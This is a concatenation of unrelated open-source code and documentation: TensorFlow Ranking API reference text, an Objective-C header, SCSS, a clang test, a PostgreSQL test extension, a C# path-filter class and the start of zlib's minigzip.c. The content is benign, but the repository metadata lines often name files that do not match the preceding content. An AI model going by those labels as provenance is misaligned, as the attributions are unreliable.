<meta itemprop="name" content="tfr.ext.tfrbert.TFRBertRankingNetwork" />
<meta itemprop="path" content="Stable" />
<meta itemprop="property" content="__call__"/>
<meta itemprop="property" content="__init__"/>
<meta itemprop="property" content="__new__"/>
<meta itemprop="property" content="add_loss"/>
<meta itemprop="property" content="add_metric"/>
<meta itemprop="property" content="build"/>
<meta itemprop="property" content="compute_logits"/>
<meta itemprop="property" content="compute_mask"/>
<meta itemprop="property" content="compute_output_shape"/>
<meta itemprop="property" content="count_params"/>
<meta itemprop="property" content="from_config"/>
<meta itemprop="property" content="get_config"/>
<meta itemprop="property" content="get_weights"/>
<meta itemprop="property" content="score"/>
<meta itemprop="property" content="set_weights"/>
<meta itemprop="property" content="transform"/>
<meta itemprop="property" content="with_name_scope"/>

# tfr.ext.tfrbert.TFRBertRankingNetwork

    View source on GitHub

A TFRBertRankingNetwork scoring based univariate ranking network.

Inherits From:
[`UnivariateRankingNetwork`](../../../tfr/keras/network/UnivariateRankingNetwork.md)

tfr.ext.tfrbert.TFRBertRankingNetwork(
    context_feature_columns, example_feature_columns, bert_config_file,
    bert_max_seq_length, bert_output_dropout, name='tfrbert', **kwargs
)

<colgroup><col width="214px"><col></colgroup>

Args

`context_feature_columns`

A dict containing all the context feature columns
used by the network. Keys are feature names, and values are instances of
classes derived from `_FeatureColumn`.

`example_feature_columns`

A dict containing all the example feature columns
used by the network. Keys are feature names, and values are instances of
classes derived from `_FeatureColumn`.

`bert_config_file`

(string) path to Bert configuration file.

`bert_max_seq_length`

(int) maximum input sequence length (#words) after
WordPiece tokenization. Sequences longer than this will be truncated,
and shorter than this will be padded.

`bert_output_dropout`

When not `None`, the probability will be used as the
dropout probability for BERT output.

`name`

name of Keras network.

`**kwargs`

keyword arguments.

<colgroup><col width="214px"><col></colgroup>

Attributes

  `activity_regularizer` 	  Optional regularizer function for
the output of this layer.

  `context_feature_columns`

  `dtype` 	  Dtype used by the weights of the layer,
set in the constructor.

  `dynamic` 	  Whether the
layer is dynamic (eager-only); set in the constructor.

`example_feature_columns`

  `input` 	  Retrieves the input tensor(s) of a
layer.

Only applicable if the layer has exactly one input, i.e. if it is connected to
one incoming layer.

  `input_spec` 	  `InputSpec`
instance(s) describing the input format for this layer.

When you create a layer subclass, you can set `self.input_spec` to enable the
layer to run input compatibility checks when it is called. Consider a `Conv2D`
layer: it can only be called on a single input tensor of rank 4. As such, you
can set, in `__init__()`:

```python
self.input_spec = tf.keras.layers.InputSpec(ndim=4)
```

Now, if you try to call the layer on an input that isn't rank 4 (for instance,
an input of shape `(2,)`, it will raise a nicely-formatted error:

```
ValueError: Input 0 of layer conv2d is incompatible with the layer:
expected ndim=4, found ndim=1. Full shape received: [2]
```

Input checks that can be specified via `input_spec` include: - Structure (e.g. a
single input, a list of 2 inputs, etc) - Shape - Rank (ndim) - Dtype

For more information, see `tf.keras.layers.InputSpec`.

`losses` 	  List of losses added using the `add_loss()` API.

Variable regularization tensors are created when this property is accessed, so
it is eager safe: accessing `losses` under a `tf.GradientTape` will propagate
gradients back to the corresponding variables.

```
>>> class MyLayer(tf.keras.layers.Layer):
...   def call(self, inputs):
...     self.add_loss(tf.abs(tf.reduce_mean(inputs)))
...     return inputs
>>> l = MyLayer()
>>> l(np.ones((10, 1)))
>>> l.losses
[1.0]
```

```
>>> inputs = tf.keras.Input(shape=(10,))
>>> x = tf.keras.layers.Dense(10)(inputs)
>>> outputs = tf.keras.layers.Dense(1)(x)
>>> model = tf.keras.Model(inputs, outputs)
>>> # Activity regularization.
>>> len(model.losses)
0
>>> model.add_loss(tf.abs(tf.reduce_mean(x)))
>>> len(model.losses)
1
```

```
>>> inputs = tf.keras.Input(shape=(10,))
>>> d = tf.keras.layers.Dense(10, kernel_initializer='ones')
>>> x = d(inputs)
>>> outputs = tf.keras.layers.Dense(1)(x)
>>> model = tf.keras.Model(inputs, outputs)
>>> # Weight regularization.
>>> model.add_loss(lambda: tf.reduce_mean(d.kernel))
>>> model.losses
[<tf.Tensor: shape=(), dtype=float32, numpy=1.0>]
```

  `metrics` 	  List of metrics added using the
`add_metric()` API.

```
>>> input = tf.keras.layers.Input(shape=(3,))
>>> d = tf.keras.layers.Dense(2)
>>> output = d(input)
>>> d.add_metric(tf.reduce_max(output), name='max')
>>> d.add_metric(tf.reduce_min(output), name='min')
>>> [m.name for m in d.metrics]
['max', 'min']
```

  `name` 	  Name of the layer (string), set in the
constructor.

  `name_scope` 	  Returns a
`tf.name_scope` instance for this class.

`non_trainable_weights` 	  List of all non-trainable weights tracked by
this layer.

Non-trainable weights are *not* updated during training. They are expected to be
updated manually in `call()`.

  `output` 	  Retrieves
the output tensor(s) of a layer.

Only applicable if the layer has exactly one output, i.e. if it is connected to
one incoming layer.

  `submodules` 	  Sequence of all
sub-modules.

Submodules are modules which are properties of this module, or found as
properties of modules which are properties of this module (and so on).

```
>>> a = tf.Module()
>>> b = tf.Module()
>>> c = tf.Module()
>>> a.b = b
>>> b.c = c
>>> list(a.submodules) == [b, c]
True
>>> list(b.submodules) == [c]
True
>>> list(c.submodules) == []
True
```

  `supports_masking` 	  Whether this layer supports
computing a mask using `compute_mask`.

  `trainable`

  `trainable_weights` 	  List of all trainable
weights tracked by this layer.

Trainable weights are updated via gradient descent during training.

`weights`

Returns the list of all layer variables/weights.

## Methods

add_loss

add_loss(
    losses, **kwargs
)

Add loss tensor(s), potentially dependent on layer inputs.

Some losses (for instance, activity regularization losses) may be dependent on
the inputs passed when calling a layer. Hence, when reusing the same layer on
different inputs `a` and `b`, some entries in `layer.losses` may be dependent on
`a` and some on `b`. This method automatically keeps track of dependencies.

This method can be used inside a subclassed layer or model's `call` function, in
which case `losses` should be a Tensor or list of Tensors.

#### Example:

```python
class MyLayer(tf.keras.layers.Layer):
  def call(self, inputs):
    self.add_loss(tf.abs(tf.reduce_mean(inputs)))
    return inputs
```

This method can also be called directly on a Functional Model during
construction. In this case, any loss Tensors passed to this Model must be
symbolic and be able to be traced back to the model's `Input`s. These losses
become part of the model's topology and are tracked in `get_config`.

#### Example:

```python
inputs = tf.keras.Input(shape=(10,))
x = tf.keras.layers.Dense(10)(inputs)
outputs = tf.keras.layers.Dense(1)(x)
model = tf.keras.Model(inputs, outputs)
# Activity regularization.
model.add_loss(tf.abs(tf.reduce_mean(x)))
```

If this is not the case for your loss (if, for example, your loss references a
`Variable` of one of the model's layers), you can wrap your loss in a
zero-argument lambda. These losses are not tracked as part of the model's
topology since they can't be serialized.

#### Example:

```python
inputs = tf.keras.Input(shape=(10,))
d = tf.keras.layers.Dense(10)
x = d(inputs)
outputs = tf.keras.layers.Dense(1)(x)
model = tf.keras.Model(inputs, outputs)
# Weight regularization.
model.add_loss(lambda: tf.reduce_mean(d.kernel))
```

<colgroup><col width="214px"><col></colgroup>

Arguments

`losses`

Loss tensor, or list/tuple of tensors. Rather than tensors, losses
may also be zero-argument callables which create a loss tensor.

`**kwargs`

Additional keyword arguments for backward compatibility.
Accepted values:
inputs - Deprecated, will be automatically inferred.

add_metric

add_metric(
    value, name=None, **kwargs
)

Adds metric tensor to the layer.

This method can be used inside the `call()` method of a subclassed layer or
model.

```python
class MyMetricLayer(tf.keras.layers.Layer):
  def __init__(self):
    super(MyMetricLayer, self).__init__(name='my_metric_layer')
    self.mean = metrics_module.Mean(name='metric_1')

  def call(self, inputs):
    self.add_metric(self.mean(x))
    self.add_metric(math_ops.reduce_sum(x), name='metric_2')
    return inputs
```

This method can also be called directly on a Functional Model during
construction. In this case, any tensor passed to this Model must be symbolic and
be able to be traced back to the model's `Input`s. These metrics become part of
the model's topology and are tracked when you save the model via `save()`.

```python
inputs = tf.keras.Input(shape=(10,))
x = tf.keras.layers.Dense(10)(inputs)
outputs = tf.keras.layers.Dense(1)(x)
model = tf.keras.Model(inputs, outputs)
model.add_metric(math_ops.reduce_sum(x), name='metric_1')
```

Note: Calling `add_metric()` with the result of a metric object on a Functional
Model, as shown in the example below, is not supported. This is because we
cannot trace the metric result tensor back to the model's inputs.

```python
inputs = tf.keras.Input(shape=(10,))
x = tf.keras.layers.Dense(10)(inputs)
outputs = tf.keras.layers.Dense(1)(x)
model = tf.keras.Model(inputs, outputs)
model.add_metric(tf.keras.metrics.Mean()(x), name='metric_1')
```

<colgroup><col width="214px"><col></colgroup>

Args

`value`

Metric tensor.

`name`

String metric name.

`**kwargs`

Additional keyword arguments for backward compatibility.
Accepted values:
`aggregation` - When the `value` tensor provided is not the result of
calling a `keras.Metric` instance, it will be aggregated by default
using a `keras.Metric.Mean`.

build

build(
    input_shape
)

Creates the variables of the layer (optional, for subclass implementers).

This is a method that implementers of subclasses of `Layer` or `Model` can
override if they need a state-creation step in-between layer instantiation and
layer call.

This is typically used to create the weights of `Layer` subclasses.

<colgroup><col width="214px"><col></colgroup>

Arguments

`input_shape`

Instance of `TensorShape`, or list of instances of
`TensorShape` if the layer expects a list of inputs
(one instance per input).

compute_logits

View
source

compute_logits(
    context_features=None, example_features=None, training=None, mask=None
)

Scores context and examples to return a score per document.

<colgroup><col width="214px"><col></colgroup>

Args

`context_features`

(dict) context feature names to 2D tensors of shape
[batch_size, feature_dims].

`example_features`

(dict) example feature names to 3D tensors of shape
[batch_size, list_size, feature_dims].

`training`

(bool) whether in train or inference mode.

`mask`

(tf.Tensor) Mask is a tensor of shape [batch_size, list_size], which
is True for a valid example and False for invalid one. If mask is None,
all entries are valid.

<colgroup><col width="214px"><col></colgroup>

Returns

(tf.Tensor) A score tensor of shape [batch_size, list_size].

<colgroup><col width="214px"><col></colgroup>

Raises

`ValueError`

If `scorer` does not return a scalar output.

compute_mask

compute_mask(
    inputs, mask=None
)

Computes an output mask tensor.

<colgroup><col width="214px"><col></colgroup>

Arguments

`inputs`

Tensor or list of tensors.

`mask`

Tensor or list of tensors.

<colgroup><col width="214px"><col></colgroup>

Returns

None or a tensor (or list of tensors,
one per output tensor of the layer).

compute_output_shape

compute_output_shape(
    input_shape
)

Computes the output shape of the layer.

If the layer has not been built, this method will call `build` on the layer.
This assumes that the layer will later be used with inputs that match the input
shape provided here.

<colgroup><col width="214px"><col></colgroup>

Arguments

`input_shape`

Shape tuple (tuple of integers)
or list of shape tuples (one per output tensor of the layer).
Shape tuples can include None for free dimensions,
instead of an integer.

<colgroup><col width="214px"><col></colgroup>

Returns

An input shape tuple.

count_params

count_params()

Count the total number of scalars composing the weights.

<colgroup><col width="214px"><col></colgroup>

Returns

An integer count.

<colgroup><col width="214px"><col></colgroup>

Raises

`ValueError`

if the layer isn't yet built
(in which case its weights aren't yet defined).

from_config

View
source

@classmethod
from_config(
    config, custom_objects=None
)

Creates a RankingNetwork layer from its config.

<colgroup><col width="214px"><col></colgroup>

Args

`config`

(dict) Layer configuration, typically the output of `get_config`.

`custom_objects`

(dict) Optional dictionary mapping names to custom classes
or functions to be considered during deserialization.

<colgroup><col width="214px"><col></colgroup>

Returns

A RankingNetwork layer.

get_config

View
source

get_config()

Returns the config of the layer.

A layer config is a Python dictionary (serializable) containing the
configuration of a layer. The same layer can be reinstantiated later (without
its trained weights) from this configuration.

The config of a layer does not include connectivity information, nor the layer
class name. These are handled by `Network` (one layer of abstraction above).

<colgroup><col width="214px"><col></colgroup>

Returns

Python dictionary.

get_weights

get_weights()

Returns the current weights of the layer.

The weights of a layer represent the state of the layer. This function returns
both trainable and non-trainable weight values associated with this layer as a
list of Numpy arrays, which can in turn be used to load state into similarly
parameterized layers.

For example, a Dense layer returns a list of two values-- per-output weights and
the bias value. These can be used to set the weights of another Dense layer:

```
>>> a = tf.keras.layers.Dense(1,
...   kernel_initializer=tf.constant_initializer(1.))
>>> a_out = a(tf.convert_to_tensor([[1., 2., 3.]]))
>>> a.get_weights()
[array([[1.],
       [1.],
       [1.]], dtype=float32), array([0.], dtype=float32)]
>>> b = tf.keras.layers.Dense(1,
...   kernel_initializer=tf.constant_initializer(2.))
>>> b_out = b(tf.convert_to_tensor([[10., 20., 30.]]))
>>> b.get_weights()
[array([[2.],
       [2.],
       [2.]], dtype=float32), array([0.], dtype=float32)]
>>> b.set_weights(a.get_weights())
>>> b.get_weights()
[array([[1.],
       [1.],
       [1.]], dtype=float32), array([0.], dtype=float32)]
```

<colgroup><col width="214px"><col></colgroup>

Returns

Weights values as a list of numpy arrays.

score

View
source

score(
    context_features=None, example_features=None, training=True
)

Univariate scoring of context and one example to generate a score.

<colgroup><col width="214px"><col></colgroup>

Args

`context_features`

(dict) Context feature names to 2D tensors of shape
[batch_size, ...].

`example_features`

(dict) Example feature names to 2D tensors of shape
[batch_size, ...].

`training`

(bool) Whether in training or inference mode.

<colgroup><col width="214px"><col></colgroup>

Returns

(tf.Tensor) A score tensor of shape [batch_size, 1].

set_weights

set_weights(
    weights
)

Sets the weights of the layer, from Numpy arrays.

The weights of a layer represent the state of the layer. This function sets the
weight values from numpy arrays. The weight values should be passed in the order
they are created by the layer. Note that the layer's weights must be
instantiated before calling this function by calling the layer.

For example, a Dense layer returns a list of two values-- per-output weights and
the bias value. These can be used to set the weights of another Dense layer:

```
>>> a = tf.keras.layers.Dense(1,
...   kernel_initializer=tf.constant_initializer(1.))
>>> a_out = a(tf.convert_to_tensor([[1., 2., 3.]]))
>>> a.get_weights()
[array([[1.],
       [1.],
       [1.]], dtype=float32), array([0.], dtype=float32)]
>>> b = tf.keras.layers.Dense(1,
...   kernel_initializer=tf.constant_initializer(2.))
>>> b_out = b(tf.convert_to_tensor([[10., 20., 30.]]))
>>> b.get_weights()
[array([[2.],
       [2.],
       [2.]], dtype=float32), array([0.], dtype=float32)]
>>> b.set_weights(a.get_weights())
>>> b.get_weights()
[array([[1.],
       [1.],
       [1.]], dtype=float32), array([0.], dtype=float32)]
```

<colgroup><col width="214px"><col></colgroup>

Arguments

`weights`

a list of Numpy arrays. The number
of arrays and their shape must match
number of the dimensions of the weights
of the layer (i.e. it should match the
output of `get_weights`).

<colgroup><col width="214px"><col></colgroup>

Raises

`ValueError`

If the provided weights list does not match the
layer's specifications.

transform

View
source

transform(
    features=None, training=None, mask=None
)

Transforms the features into dense context features and example features.

The user can overwrite this function for custom transformations. Mask is
provided as an argument so that inherited models can have access to it for
custom feature transformations, without modifying `call` explicitly.

<colgroup><col width="214px"><col></colgroup>

Args

`features`

(dict) with a mix of context (2D) and example features (3D).

`training`

(bool) whether in train or inference mode.

`mask`

(tf.Tensor) Mask is a tensor of shape [batch_size, list_size], which
is True for a valid example and False for invalid one.

<colgroup><col width="214px"><col></colgroup>

Returns

`context_features`

(dict) context feature names to dense 2D tensors of
shape [batch_size, feature_dims].

`example_features`

(dict) example feature names to dense 3D tensors of
shape [batch_size, list_size, feature_dims].

with_name_scope

@classmethod
with_name_scope(
    method
)

Decorator to automatically enter the module name scope.

```
>>> class MyModule(tf.Module):
...   @tf.Module.with_name_scope
...   def __call__(self, x):
...     if not hasattr(self, 'w'):
...       self.w = tf.Variable(tf.random.normal([x.shape[1], 3]))
...     return tf.matmul(x, self.w)
```

Using the above module would produce `tf.Variable`s and `tf.Tensor`s whose names
included the module name:

```
>>> mod = MyModule()
>>> mod(tf.ones([1, 2]))
<tf.Tensor: shape=(1, 3), dtype=float32, numpy=..., dtype=float32)>
>>> mod.w
<tf.Variable 'my_module/Variable:0' shape=(2, 3) dtype=float32,
numpy=..., dtype=float32)>
```

<colgroup><col width="214px"><col></colgroup>

Args

`method`

The method to wrap.

<colgroup><col width="214px"><col></colgroup>

Returns

The original method wrapped such that it enters the module's name scope.

__call__

__call__(
    *args, **kwargs
)

Wraps `call`, applying pre- and post-processing steps.

<colgroup><col width="214px"><col></colgroup>

Arguments

`*args`

Positional arguments to be passed to `self.call`.

`**kwargs`

Keyword arguments to be passed to `self.call`.

<colgroup><col width="214px"><col></colgroup>

Returns

Output tensor(s).

#### Note:

-   The following optional keyword arguments are reserved for specific uses:
    *   `training`: Boolean scalar tensor of Python boolean indicating whether
        the `call` is meant for training or inference.
    *   `mask`: Boolean input mask.
-   If the layer's `call` method takes a `mask` argument (as some Keras layers
    do), its default value will be set to the mask generated for `inputs` by the
    previous layer (if `input` did come from a layer that generated a
    corresponding mask, i.e. if it came from a Keras layer with masking support.

<colgroup><col width="214px"><col></colgroup>

Raises

`ValueError`

if the layer's `call` method returns None (an invalid value).

`RuntimeError`

if `super().__init__()` was not called in the constructor.

{'repo_name': 'tensorflow/ranking', 'stars': '1752', 'repo_language': 'Python', 'file_name': 'bert_lite_config.json', 'mime_type': 'text/plain', 'hash': 5334833619005103968, 'source_dataset': 'data'}


#import <AppKit/AppKit.h>

#include "chrome/browser/devtools/devtools_contents_resizing_strategy.h"

#include "base/mac/scoped_nsobject.h"
#include "ui/base/cocoa/base_view.h"

namespace brightray {
class InspectableWebContentsViewMac;
}

using brightray::InspectableWebContentsViewMac;

@interface BRYInspectableWebContentsView : BaseView<NSWindowDelegate> {
@private
  brightray::InspectableWebContentsViewMac* inspectableWebContentsView_;

  base::scoped_nsobject<NSWindow> devtools_window_;
  BOOL devtools_visible_;
  BOOL devtools_docked_;
  BOOL devtools_is_first_responder_;

  DevToolsContentsResizingStrategy strategy_;
}

- (instancetype)initWithInspectableWebContentsViewMac:(InspectableWebContentsViewMac*)view;
- (void)removeObservers;
- (void)notifyDevToolsFocused;
- (void)updateDevToolsForWebContents;
- (void)setDevToolsVisible:(BOOL)visible;
- (BOOL)isDevToolsVisible;
- (BOOL)isDevToolsFocused;
- (void)setIsDocked:(BOOL)docked;
- (void)setContentsResizingStrategy:(const DevToolsContentsResizingStrategy&)strategy;
- (void)setTitle:(NSString*)title;

@end

{'repo_name': 'brave/muon', 'stars': '978', 'repo_language': 'C++', 'file_name': 'env_util.py', 'mime_type': 'text/x-python', 'hash': -1147157309431797549, 'source_dataset': 'data'}


.ffz-top-nav {
	.tw-pill {
		padding: .4rem;
	}

	.ffz-menu__pill {
		top: -.5rem;
		right: 0;
		pointer-events: none;
	}

	.ffz-menu__extra-pill {
		bottom: -.5rem;
		right: 0;
		pointer-events: none;
	}

	.tw-pd-r-1 + & {
		margin-left: -.5rem;
	}

	.loading .ffz-i-zreknarf {
		animation: ffz-rotateplane 1.2s infinite linear;
	}
}

{'repo_name': 'FrankerFaceZ/FrankerFaceZ', 'stars': '354', 'repo_language': 'JavaScript', 'file_name': 'ffz-fontello-ie7.scss', 'mime_type': 'text/plain', 'hash': 1821794325280292725, 'source_dataset': 'data'}


// RUN: %clang_cc1 -fsyntax-only -verify -Wnull-arithmetic %s
#define NULL __null

@interface X
@end

void f() {
  bool b;
  X *d;
  b = d < NULL || NULL < d || d > NULL || NULL > d; // expected-error 4{{ordered comparison between pointer and zero}}
  b = d <= NULL || NULL <= d || d >= NULL || NULL >= d; // expected-error 4{{ordered comparison between pointer and zero}}
  b = d == NULL || NULL == d || d != NULL || NULL != d;
}

{'repo_name': 'metashell/metashell', 'stars': '394', 'repo_language': 'C++', 'file_name': 'c-general.test', 'mime_type': 'text/plain', 'hash': 8890339243368104479, 'source_dataset': 'data'}


/*-------------------------------------------------------------------------
 *
 * mcxtalloc_test.c
 *		Set of functions to test low-level routines in change of doing
 *		memory allocation in a given memory context.
 *
 * Copyright (c) 1996-2020, PostgreSQL Global Development Group
 *
 * IDENTIFICATION
 *		  mcxtalloc_test/mcxtalloc_test.c
 *
 *-------------------------------------------------------------------------
 */

#include "postgres.h"
#include "fmgr.h"
#include "utils/palloc.h"

PG_MODULE_MAGIC;

PG_FUNCTION_INFO_V1(mcxtalloc);
PG_FUNCTION_INFO_V1(mcxtalloc_huge);
PG_FUNCTION_INFO_V1(mcxtalloc_zero_cmp);
PG_FUNCTION_INFO_V1(mcxtalloc_extended);

/*
 * mcxtalloc
 * Wrapper to check calls of MemoryContextAlloc.
 */
Datum
mcxtalloc(PG_FUNCTION_ARGS)
{
	Size	alloc_size = PG_GETARG_UINT32(0);
	char   *ptr;

	ptr = MemoryContextAlloc(CurrentMemoryContext, alloc_size);
	Assert(ptr != NULL);
	pfree(ptr);

	PG_RETURN_NULL();
}

/*
 * mcxtalloc_huge
 * Wrapper to check calls of MemoryContextAllocHuge.
 */
Datum
mcxtalloc_huge(PG_FUNCTION_ARGS)
{
	Size	alloc_size = PG_GETARG_UINT32(0);
	char   *ptr;

	ptr = MemoryContextAllocHuge(CurrentMemoryContext, alloc_size);
	Assert(ptr != NULL);
	pfree(ptr);

	PG_RETURN_NULL();
}

/*
 * mcxtalloc_zero
 * Routine checking if MemoryContextAllocZero and MemoryContextAllocExtended
 * called with MCXT_ALLOC_ZERO are equivalent.
 */
Datum
mcxtalloc_zero_cmp(PG_FUNCTION_ARGS)
{
	Size	alloc_size = PG_GETARG_UINT32(0);
	char   *ptr1, *ptr2;
	bool	res = false;

	ptr1 = MemoryContextAllocZero(CurrentMemoryContext, alloc_size);
	ptr2 = MemoryContextAllocExtended(CurrentMemoryContext, alloc_size,
									  MCXT_ALLOC_ZERO);
	Assert(ptr1 != NULL && ptr2 != NULL);

	res = memcmp(ptr1, ptr2, alloc_size) == 0;
	pfree(ptr1);
	pfree(ptr2);

	PG_RETURN_BOOL(res);
}

/*
 * mcxtalloc_extended
 * Wrapper routine for MemoryContextAllocExtended. Returns true if pointer
 * obtained was NULL and an OOM was not wanted by caller, and false in other
 * cases.
 */
Datum
mcxtalloc_extended(PG_FUNCTION_ARGS)
{
	Size	alloc_size = PG_GETARG_UINT32(0);
	bool	is_huge = PG_GETARG_BOOL(1);
	bool	is_no_oom = PG_GETARG_BOOL(2);
	bool	is_zero = PG_GETARG_BOOL(3);
	int		flags = 0;
	char   *ptr;

	if (is_huge)
		flags |= MCXT_ALLOC_HUGE;
	if (is_no_oom)
		flags |= MCXT_ALLOC_NO_OOM;
	if (is_zero)
		flags |= MCXT_ALLOC_ZERO;
	ptr = MemoryContextAllocExtended(CurrentMemoryContext,
									 alloc_size, flags);
	if (ptr != NULL)
	{
		pfree(ptr);
		PG_RETURN_BOOL(true);
	}
	PG_RETURN_BOOL(false);
}

{'repo_name': 'michaelpq/pg_plugins', 'stars': '223', 'repo_language': 'C', 'file_name': 'Makefile', 'mime_type': 'text/plain', 'hash': -464720777453188000, 'source_dataset': 'data'}


using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Text;
using Validation;

namespace Nerdbank.GitVersioning
{
    /// <summary>
    /// A filter (include or exclude) representing a repo relative path.
    /// </summary>
    public class FilterPath
    {
        /// <summary>
        /// True if this <see cref="FilterPath"/> represents an exclude filter.
        /// </summary>
        public bool IsExclude { get; }

        /// <summary>
        /// Path relative to the repository root that this <see cref="FilterPath"/> represents.
        /// Directories are delimited with forward slashes.
        /// </summary>
        public string RepoRelativePath { get; }

        /// <summary>
        /// True if this <see cref="FilterPath"/> represents the root of the repository.
        /// </summary>
        public bool IsRoot => this.RepoRelativePath == "";

        /// <summary>
        /// Was the original pathspec parsed as a relative path?
        /// </summary>
        internal bool IsRelative { get; }

        /// <summary>
        /// Normalizes a pathspec-like string into a root-relative path.
        /// </summary>
        /// <param name="path">
        /// See <see cref="FilterPath(string, string)"/> for supported
        /// formats of pathspecs.
        /// </param>
        /// <param name="relativeTo">
        /// Path that <paramref name="path"/> is relative to.
        /// Can be empty - which indicates <paramref name="path"/> is
        /// relative to the root of the repository.
        /// </param>
        /// <returns>
        /// Forward slash delimited string representing the root-relative path.
        /// </returns>
        private static (bool isRelative, string normalized) Normalize(string path, string relativeTo)
        {
            // Path is absolute, nothing to do here
            if (path[0] == '/' || path[0] == '\\')
            {
                return (false, path.Substring(1));
            }

            var combined = relativeTo == "" ? path : relativeTo + '/' + path;

            return (true, string.Join("/",
                combined
                    .Split(new[] {Path.DirectorySeparatorChar, Path.AltDirectorySeparatorChar},
                        StringSplitOptions.RemoveEmptyEntries)
                    // Loop through each path segment...
                    .Aggregate(new Stack<string>(), (parts, segment) =>
                    {
                        switch (segment)
                        {
                            // If it refers to the current directory, skip it
                            case ".":
                                return parts;

                            // If it refers to the parent directory, pop the most recent directory
                            case "..":
                                if (parts.Count == 0)
                                    throw new FormatException($"Too many '..' in path '{combined}' - would escape the root of the repository.");

                                parts.Pop();
                                return parts;

                            // Otherwise it's a directory/file name - add it to the stack
                            default:
                                parts.Push(segment);
                                return parts;
                        }
                    })
                    // Reverse the stack, so it iterates root -> leaf
                    .Reverse()
            ));
        }

        /// <summary>
        /// Construct a <see cref="FilterPath"/> from a pathspec-like string and a
        /// relative path within the repository.
        /// </summary>
        /// <param name="pathSpec">
        /// A string that supports some pathspec features.
        /// This path is relative to <paramref name="relativeTo"/>.
        ///
        /// Examples:
        /// - <c>../relative/inclusion.txt</c>
        /// - <c>:/absolute/inclusion.txt</c>
        /// - <c>:!relative/exclusion.txt</c>
        /// - <c>:^relative/exclusion.txt</c>
        /// - <c>:^/absolute/exclusion.txt</c>
        /// </param>
        /// <param name="relativeTo">
        /// Path (relative to the root of the repository) that <paramref name="pathSpec"/> is relative to.
        /// Can be empty - which indicates <paramref name="pathSpec"/> is
        /// relative to the root of the repository.
        /// </param>
        /// <exception cref="FormatException">Invalid path spec.</exception>
        public FilterPath(string pathSpec, string relativeTo)
        {
            Requires.NotNullOrEmpty(pathSpec, nameof(pathSpec));
            Requires.NotNull(relativeTo, nameof(relativeTo));

            if (pathSpec[0] == ':')
            {
                if (pathSpec.Length > 1 && (pathSpec[1] == '^' || pathSpec[1] == '!'))
                {
                    this.IsExclude = true;
                    (this.IsRelative, this.RepoRelativePath) = Normalize(pathSpec.Substring(2), relativeTo);
                }
                else if (pathSpec.Length > 1 && pathSpec[1] == '/' || pathSpec[1] == '\\')
                {
                    this.RepoRelativePath = pathSpec.Substring(2);
                }
                else
                {
                    throw new FormatException($"Unrecognized path spec '{pathSpec}'");
                }
            }
            else
            {
                (this.IsRelative, this.RepoRelativePath) = Normalize(pathSpec, relativeTo);
            }

            this.RepoRelativePath =
                this.RepoRelativePath
                    .Replace('\\', '/')
                    .TrimEnd('/');
        }

        /// <summary>
        /// Determines if <paramref name="repoRelativePath"/> should be excluded by this <see cref="FilterPath"/>.
        /// </summary>
        /// <param name="repoRelativePath">Forward-slash delimited path (repo relative).</param>
        /// <param name="ignoreCase">
        /// Whether paths should be compared case insensitively.
        /// Should be the 'core.ignorecase' config value for the repository.
        /// </param>
        /// <returns>
        /// True if this <see cref="FilterPath"/> is an excluding filter that matches
        /// <paramref name="repoRelativePath"/>, otherwise false.
        /// </returns>
        public bool Excludes(string repoRelativePath, bool ignoreCase)
        {
            if (repoRelativePath is null)
                throw new ArgumentNullException(nameof(repoRelativePath));

            if (!this.IsExclude) return false;

            var stringComparison = ignoreCase ? StringComparison.OrdinalIgnoreCase : StringComparison.Ordinal;
            return this.RepoRelativePath.Equals(repoRelativePath, stringComparison) ||
                   repoRelativePath.StartsWith(this.RepoRelativePath + "/",
                       stringComparison);
        }

        private static (int dirsToAscend, StringBuilder result) GetRelativePath(string path, string relativeTo)
        {
            var pathParts = path.Split('/');
            var baseDirParts = relativeTo.Split(new[] {'/'}, StringSplitOptions.RemoveEmptyEntries);

            int commonParts;
            for (commonParts = 0;
                commonParts < Math.Min(pathParts.Length, baseDirParts.Length) &&
                pathParts[commonParts].Equals(baseDirParts[commonParts], StringComparison.OrdinalIgnoreCase);
                ++commonParts)
            {
            }

            int dirsToAscend = baseDirParts.Length - commonParts;

            var result = new StringBuilder(path.Length + dirsToAscend * 3);
            result.Insert(0, "../", dirsToAscend);
            result.Append(string.Join("/", pathParts.Skip(commonParts)));
            return (dirsToAscend, result);
        }

        /// <summary>
        /// Convert this path filter to a pathspec.
        /// </summary>
        /// <param name="repoRelativeBaseDirectory">
        /// Repo-relative directory that relative pathspecs should be relative to.
        /// Can be empty - which indicates this <c>FilterPath</c> is
        /// relative to the root of the repository.
        /// </param>
        /// <returns>String representation of a path filter (a pathspec)</returns>
        public string ToPathSpec(string repoRelativeBaseDirectory)
        {
            Requires.NotNull(repoRelativeBaseDirectory, nameof(repoRelativeBaseDirectory));

            var pathSpec = new StringBuilder(this.RepoRelativePath.Length + 2);
            var (_, normalizedBaseDirectory) =
                Normalize(repoRelativeBaseDirectory == "" ? "." : repoRelativeBaseDirectory, null);

            if (this.IsExclude)
                pathSpec.Append(":!");

            if (this.IsRelative)
            {
                var (dirsAscended, relativePath) = GetRelativePath(this.RepoRelativePath, normalizedBaseDirectory);
                if (dirsAscended == 0 && !this.IsExclude)
                    pathSpec.Append("./");
                pathSpec.Append(relativePath);
            }
            else
            {
                pathSpec.Append('/');
                pathSpec.Append(this.RepoRelativePath);
            }

            return pathSpec.ToString();
        }
    }
}

{'repo_name': 'dotnet/Nerdbank.GitVersioning', 'stars': '562', 'repo_language': 'C#', 'file_name': 'public_vs_stable.md', 'mime_type': 'text/plain', 'hash': 1062643394929169877, 'source_dataset': 'data'}


/* minigzip.c -- simulate gzip using the zlib compression library
 * Copyright (C) 1995-2006, 2010, 2011 Jean-loup Gailly.
 * For conditions of distribution and use, see copyright notice in zlib.h
 */

/*
 * minigzip is a minimal implementation of the gzip utility. This is
 * only an example of using zlib and isn't meant to replace the
 * full-featured gzip. No attempt is made to deal with file systems
 * limiting names to 14 or 8+3 characters, etc... Error checking is
 * very limited. So use minigzip only for testing; use gzip for the
 * real thing. On MSDOS, use only on file names without extension
 * or in pipe mode.
 */

/* @(#) $Id$ */

#include "zlib.h"
#include <stdio.h>

#ifdef STDC
#  include <string.h>
#  include <stdlib.h>
#endif

#ifdef USE_MMAP
#  include <sys/types.h>
#  include <sys/mman.h>
#  include <sys/stat.h>
#endif

#if defined(MSDOS) || defined(OS2) || defined(WIN32) || defined(__CYGWIN__)
#  include <fcntl.h>
#  include <io.h>
#  ifdef UNDER_CE
#    include <stdlib.h>
#  endif
